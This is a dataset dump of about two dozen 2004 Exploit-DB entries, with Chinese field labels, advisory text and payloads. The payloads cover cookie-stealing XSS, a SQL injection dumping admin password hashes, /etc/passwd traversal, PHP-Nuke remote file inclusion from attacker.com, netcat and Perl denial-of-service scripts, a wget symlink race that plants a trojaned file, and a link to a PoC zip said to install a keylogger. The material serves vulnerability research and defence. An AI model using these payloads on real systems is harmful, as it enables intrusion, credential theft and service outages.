QLWD/code_shield huggingface dataset:
标题: Sambar Server 6.1 Beta 2 - 'showperf.asp?title' Cross-Site Scripting EDB-ID: 24162 CVE: 2004-2564 类型: REMOTE 平台: WINDOWS 发布日期: 2004-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10444/info
 
Sambar Server is reportedly prone to multiple vulnerabilities. These issues may allow an attacker to access sensitive files and carry out directory traversal and cross-site scripting attacks.
 
These issues require an attacker to have administrative privileges, however, it is reported that an administrative password is not set on the server by default. An administrator who is not intended to have certain privileges may also exploit these vulnerabilities.
 
Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well.

http://www.example.com/sysadmin/system/showperf.asp?area=search&title=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24162
标题: Sambar Server 6.1 Beta 2 - 'show.asp?show' Cross-Site Scripting EDB-ID: 24161 CVE: 2004-2564 类型: REMOTE 平台: WINDOWS 发布日期: 2004-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10444/info

Sambar Server is reportedly prone to multiple vulnerabilities. These issues may allow an attacker to access sensitive files and carry out directory traversal and cross-site scripting attacks.

These issues require an attacker to have administrative privileges, however, it is reported that an administrative password is not set on the server by default. An administrator who is not intended to have certain privileges may also exploit these vulnerabilities.

Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well.

http://www.example.com/sysadmin/system/show.asp?show=<script>alert("oops")</script> URL: https://www.exploit-db.com/exploits/24161
标题: Rit Research Labs TinyWeb 1.9.2 - Unauthorized Script Disclosure EDB-ID: 24164 CVE: 2004-2636 类型: WEBAPPS 平台: CGI 发布日期: 2004-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10445/info

TinyWeb Server is affected by an unauthorized script disclosure vulnerability. This issue is due to an input validation error that allows malicious users to bypass standard web server rules.

This issue will allow an attacker to download or view scripts residing in the 'cgi-bin' directory.

This issue is reported to affect TinyWeb 1.92, it is likely that other versions are also vulnerable. 

http://www.example.com/./cgi-bin/targetfile URL: https://www.exploit-db.com/exploits/24164
标题: SquirrelMail 1.x - Email Header HTML Injection EDB-ID: 24160 CVE: 2004-0520 类型: REMOTE 平台: LINUX 发布日期: 2004-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/10439/info

SquirrelMail is reported to be prone to an email header HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied email header strings.

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials; disclosure of personal email is possible. Other attacks are also possible. 

Content-Type: application/octet-stream"<script>window.alert(document.cookie)</script>"; name=top_secret.pdf URL: https://www.exploit-db.com/exploits/24160
标题: Land Down Under - BBCode HTML Injection EDB-ID: 24152 CVE: 2004-2038 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/10435/info

Land Down Under is prone to an HTML injection vulnerability. This issue is exposed through their BBCode implementation. Exploitation could permit theft of cookie credentials, manipulation of content, or other attacks. 

[img]javascript:alert(document.cookie);[/img] URL: https://www.exploit-db.com/exploits/24152
标题: jPORTAL 2.2.1 - 'print.php' SQL Injection EDB-ID: 24151 CVE: 2004-2036 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10430/info

JPortal is reportedly affected by a remote SQL injection vulnerability in the print.inc.php script. This issue is due to a failure of the application to properly sanitize user-supplied URI input before using it in an SQL query.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue. 

http://www.example.com/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1 URL: https://www.exploit-db.com/exploits/24151
标题: Orenosv HTTP/FTP Server 0.5.9 - GET Denial of Service (3) EDB-ID: 24147 CVE: 2004-2033 类型: DOS 平台: WINDOWS 发布日期: 2004-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/10420/info
  
Orenosv HTTP/FTP server is prone to a denial of service vulnerability that may occur when an overly long HTTP GET request is sent to the server. When the malicious request is handled, it is reported that both the HTTP and FTP daemons will stop responding.

@echo off
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   Orenosv FTP Server
:Vendors:       http://home.comcast.net/~makataoka//orenosv060.zip
:Version:       <=0.6.0
:Platforms:     Windows
:Bug:           D.O.S
:Date:          2004-06-02
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target [port]&&goto :eof
;set PORT=21
;if not '%2'=='' set PORT=%2
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe
echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

F 100 200 41
rcx
100
ndos.a
w
q


:run
nc %1 %PORT% < dos.a
del dos.a URL: https://www.exploit-db.com/exploits/24147
标题: MiniShare 1.3.2 - Remote Denial of Service EDB-ID: 24144 CVE: 2004-2035 类型: DOS 平台: WINDOWS 发布日期: 2004-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10417/info

Minishare is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle improperly formed HTTP requests.

This issue will allow an attacker to cause the affected computer to stop responding, denying service to legitimate users.

GET:

1. GET /something HTTP/1.1
-
2. GET /something HTTP/1.1\n
-


HEAD:

1. HEAD /something HTTP/1.1
-
2. HEAD /something HTTP/1.1\n
- URL: https://www.exploit-db.com/exploits/24144
标题: e107 website system 0.6 - 'usersettings.php?avmsg' Cross-Site Scripting EDB-ID: 24153 CVE: 2004-2040 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/10436/info

e107 is prone to multiple cross-site scripting, HTML injection, file inclusion, and SQL injection vulnerabilities. This may compromise various security properties of a Web site running the software, including allowing remote attackers to execute malicious PHP code.


http://www.example.com/e107_0615/usersettings.php?avmsg=[xss code here] URL: https://www.exploit-db.com/exploits/24153
标题: Liferay Enterprise Portal 1.x/2.x/5.0.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24139 CVE: 2004-2030 类型: WEBAPPS 平台: JSP 发布日期: 2004-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/10402/info

It has been reported that Liferay Enterprise Portal is susceptible to multiple cross-site scripting and HTML injection vulnerabilities. User-supplied data from many input fields is included in server generated content without appropriate validation/encoding. This may allow for typical cross-site scripting attacks against other users of the portal. 


Test:
Add a message with subject <script>history.go(-1)</script>
Now, no user can see message board. URL: https://www.exploit-db.com/exploits/24139
标题: Netgear RP114 3.26 - Content Filter Bypass EDB-ID: 24140 CVE: 2004-2032 类型: REMOTE 平台: HARDWARE 发布日期: 2004-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/10404/info

It is reported that users may bypass Netgear RP114 content filter functionality. This can be accomplished by making a URI request string that is over 220 bytes in length.

This vulnerability may result in a false sense of security for a network administrator, where a malicious website is believed to be unreachable. In reality any host may contact blacklisted websites. 

http://www.example.com/?%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 URL: https://www.exploit-db.com/exploits/24140
标题: cPanel 5 < 9 - Local Privilege Escalation EDB-ID: 24141 CVE: 2004-0490 类型: LOCAL 平台: LINUX 发布日期: 2004-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/10407/info

cPanel is reported prone to a privilege escalation vulnerability. It is reported that the options used by cPanel to compile Apache 1.3.29 and PHP using the mod_phpsuexec option are insecure. These settings will reportedly permit a local attacker to execute arbitrary code as any user who possesses a PHP file that is published to the Apache web server. 

PATH_TRANSLATED=/gone.php
SCRIPT_FILENAME=/usr/local/cpanel/base/frontend/default/phpinfo.php
/usr/bin/php
If the above results in a "No input file specified." message then the system is vulnerable. URL: https://www.exploit-db.com/exploits/24141
标题: Mollensoft Lightweight FTP Server 3.6 - Remote Denial of Service EDB-ID: 24142 CVE: 2004-2037 类型: DOS 平台: WINDOWS 发布日期: 2004-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/10409/info

A denial of service condition is reported to exist in the MollenSoft Lightweight FTP Server that may allow a remote user to deny service to legitimate FTP users. The vulnerability is due to a lack of sufficient boundary checks performed on CWD command arguments.

It should be noted that although this vulnerability is reported to affect Mollensoft Lightweight FTP Server version 3.6 other versions might also be affected. 

#!/usr/bin/perl
#
# Mollensoft FTP Server CMD Buffer Overflow
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441

use strict;
use IO::Socket::INET;

usage() unless (@ARGV == 2);

my $host = shift(@ARGV);
my $port = shift(@ARGV);

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

$socket->autoflush(1);

# receive greeting
my $repcode = "220 ";
my $response = recv_reply($socket, $repcode);
print $response;

# send USER command
#my $username = "%00" x 2041;
my $username = "anonymous";
print "USER $username\r\n";
print $socket "USER $username\r\n";

select(undef, undef, undef, 0.002); # sleep of 2 milliseconds

# send PASS command
my $password = "a\@b.com";
print "PASS $password\r\n";
print $socket "PASS $password\r\n";

my $cmd = "CWD ";
$cmd .= "A" x 224; # Value can range from 224 to 1018
$cmd .= "\r\n";
print "length: ".length($cmd)."\n";
print $socket $cmd;

$repcode = "";
recv_reply($socket, $repcode);

close($socket);
exit(0);

sub usage
{
 # print usage information
 print "\nUsage:  Mollensoft_FTP_Server_crash.pl <host> <port>\n
<host> - The host to connect to
<port> - The TCP port which WarFTP is listening on\n\n";
 exit(1);
}

sub recv_reply
{
 # retrieve any reply
 my $socket = shift;
 my $repcode = shift;
 $socket or die "Can't receive on socket\n";

 my $res="";
 while(<$socket>)
 {
  $res .= $_;
  if (/$repcode/) { last; }
 }
 return $res;
} URL: https://www.exploit-db.com/exploits/24142
标题: Orenosv HTTP/FTP Server 0.5.9 - GET Denial of Service (2) EDB-ID: 24146 CVE: 2004-2033 类型: DOS 平台: WINDOWS 发布日期: 2004-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/10420/info
 
Orenosv HTTP/FTP server is prone to a denial of service vulnerability that may occur when an overly long HTTP GET request is sent to the server. When the malicious request is handled, it is reported that both the HTTP and FTP daemons will stop responding.

@echo on
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   Orenosv Server
:Vendors:       http://home.comcast.net/~makataoka/orenosv060.zip
:Version:       <=0.6.0
:Platforms:     Windows
:Bug:           D.O.S
:Date:          2004-06-02
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target [port]&&goto :eof
;set PORT=9999
;if not '%2'=='' set PORT=%2
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe
echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

e 100 "GET / HTTP/1.0" 0D 0A
e 110 "Transfer-Encoding: Boy" 0D 0A 0D 0A
rcx
2A
nhttp.tmp
w
q URL: https://www.exploit-db.com/exploits/24146
标题: ActivePerl 5.x / Cygwin 1.5.x - System Function Call Buffer Overflow EDB-ID: 24128 CVE: 2004-2022 类型: DOS 平台: WINDOWS 发布日期: 2004-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/10375/info

ActiveState Perl and Perl for cygwin are both reported to be prone to a buffer overflow vulnerability. 

The issue is reported to exist due to a lack of sufficient bounds checking that is performed on data that is passed to a Perl system() function call. This vulnerability may permit an attacker to influence execution flow of a vulnerable Perl script to ultimately execute arbitrary code. Arbitrary code execution will occur in the context of the user who is running the malicious Perl script.

perl -e "$a="A" x 256; system($a)" URL: https://www.exploit-db.com/exploits/24128
标题: ActivePerl 5.x / Larry Wall Perl 5.x - Duplication Operator Integer Overflow EDB-ID: 24130 CVE: 2004-2286 类型: DOS 平台: MULTIPLE 发布日期: 2004-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/10380/info

ActiveState Perl is reported to be prone to an integer overflow vulnerability. It is revealed through testing that other implementations are also vulnerable.

The issue is reported to exist due to a lack of sufficient bounds checking that is performed on multiplier data that is passed to a Perl duplicator statement. This vulnerability may permit an attacker to influence execution flow of a vulnerable Perl script to ultimately execute arbitrary code. Failed exploit attempts will result in a denial of service.

$var = "ABCD"x0x40000000; URL: https://www.exploit-db.com/exploits/24130
标题: Netscape Navigator 7.1 - Embedded Image URI Obfuscation EDB-ID: 24137 CVE: 2004-0528 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10389/info

It is reported that Netscape Navigator is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker can exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim is to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site. 

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP> URL: https://www.exploit-db.com/exploits/24137
标题: e107 Website System 0.5/0.6 - 'Log.php' HTML Injection EDB-ID: 24138 CVE: 2004-2028 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10395/info

It is reported that e107 website system is prone to a remote HTML injection vulnerability. This issue is due to a failure by the application to properly sanitize user-supplied input.

The problem presents itself when a user supplies malicious HTML or script code to the application using a URI parameter of the log.php script. The application stores the injected HTML code, which is then rendered in the browser of an unsuspecting user whenever the log page of the affected site is viewed.

http://www.example.com/e107_plugins/log/log.php?referer=code<br>goes<here>&color=24&eself=http://www.example.com/stats.php&res=1341X1341 URL: https://www.exploit-db.com/exploits/24138
标题: osCommerce 2.x - File Manager Directory Traversal EDB-ID: 24126 CVE: 2004-2021 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10364/info

osCommerce has a directory-traversal vulnerability that allows a remote attacker to possibly obtain sensitive information. The software improperly sanitizes user-supplied input and allows '../' directory-traversal character sequences when serving files. 

This allows the attacker to access files outside of the application document root, potentially allowing the attacker to view files that contain sensitive information or aid them in further attacks on the computer.

file_manager.php?action=download&filename=../../../../../../etc/passwd 

An additional exploit was provided by Megasky <magasky@hotmail.com>: 

/admin/file_manager.php?action=read&filename=../../../../ URL: https://www.exploit-db.com/exploits/24126
标题: Microsoft Windows XP - Self-Executing Folder EDB-ID: 24125 CVE: 2004-2289 类型: REMOTE 平台: WINDOWS 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10363/info

A vulnerability has been reported in Microsoft Windows XP that may cause malicious code to run in the context of the currently logged-in user. The flaw exists in Windows Explorer and may allow executable content that is referenced from inside a folder to run automatically when the folder is accessed. 

This vulnerability poses a security risk since users assume that opening a folder is a safe action and that executable content cannot be run when a folder is accessed. Additionally, attackers may be able to exploit this issue remotely if the malicious folder is accessed from an SMB share. 

The reporter of this issue has provided a proof-of-concept exploit that executes NetMeeting and installs a keylogger on a vulnerable system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24125.zip URL: https://www.exploit-db.com/exploits/24125
标题: PHP-Nuke 6.x/7.x - 'Modpath' File Inclusion EDB-ID: 24127 CVE: 2004-2018 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10365/info

PHP-Nuke is prone to a potential file include vulnerability. This issue could allow a remote attacker to include malicious files containing aribtrary code to be executed on a vulnerable system. This issue can be exploited via the 'modpath' parameter.

If successful, the malicious script supplied by the attacker will be executed in the context of the web server hosting the vulnerable software.

http://www.example.com/nuke73/index.php?modpath=ftp://attacker.com/directory/
http://www.example.com/nuke73/index.php?modpath=//attacker_ip/share_name/ URL: https://www.exploit-db.com/exploits/24127
标题: WGet 1.x - Insecure File Creation Race Condition EDB-ID: 24123 CVE: 2004-2014 类型: LOCAL 平台: LINUX 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10361/info

The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads. 

A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget.

#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
   ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
   a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
  if [ -e .wget ]
  then
    c=0
    echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
    rm -f /tmp/patch-2.4.26.bz2
    echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

    ls -la /tmp/patch-2.4.26.bz2

  else
  b=`pgrep -u root wget`
  touch $b.wget

  fi

done URL: https://www.exploit-db.com/exploits/24123
标题: KDE Konqueror 3.x - Embedded Image URI Obfuscation EDB-ID: 24136 CVE: 2004-0527 类型: REMOTE 平台: LINUX 发布日期: 2004-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/10383/info

It is reported that KDE Konqueror is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker can exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim is to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site. 

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP> URL: https://www.exploit-db.com/exploits/24136
标题: vBulletin 1.0/2.x/3.0 - 'index.php' User Interface Spoofing EDB-ID: 24124 CVE: 2004-2288 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10362/info

A weakness has been reported to exist in the VBulletin software that may allow an attacker to spoof parts of the VBulletin interface. The issue exists due to improper validation of user-supplied data.

Remote attackers may potentially exploit this issue, by convincing a VBulletin administrator to follow a specially crafted URI. The URI would contain a URI to a remote attacker owned HTML page as a value for the affected parameter of the 'index.php' script. If the administrator were to follow this link, part of the VBulletin user interface may be spoofed by the attacker.

http://forums.example.com/admincp/index.php?loc=http://www.example.com URL: https://www.exploit-db.com/exploits/24124
标题: dsm light Web file browser 2.0 - Directory Traversal EDB-ID: 24131 CVE: 2004-2287 类型: WEBAPPS 平台: PHP 发布日期: 2004-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/10381/info

DSM Light has been reported to be prone to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue would allow an attacker to view arbitrary, web-readable files on the affected computer. This may aid an attacker in conducting further attacks against the vulnerable computer.

http://www.example.com/htmlarea/popups/explorer.php?wdir=/../../../../../../../../../../etc URL: https://www.exploit-db.com/exploits/24131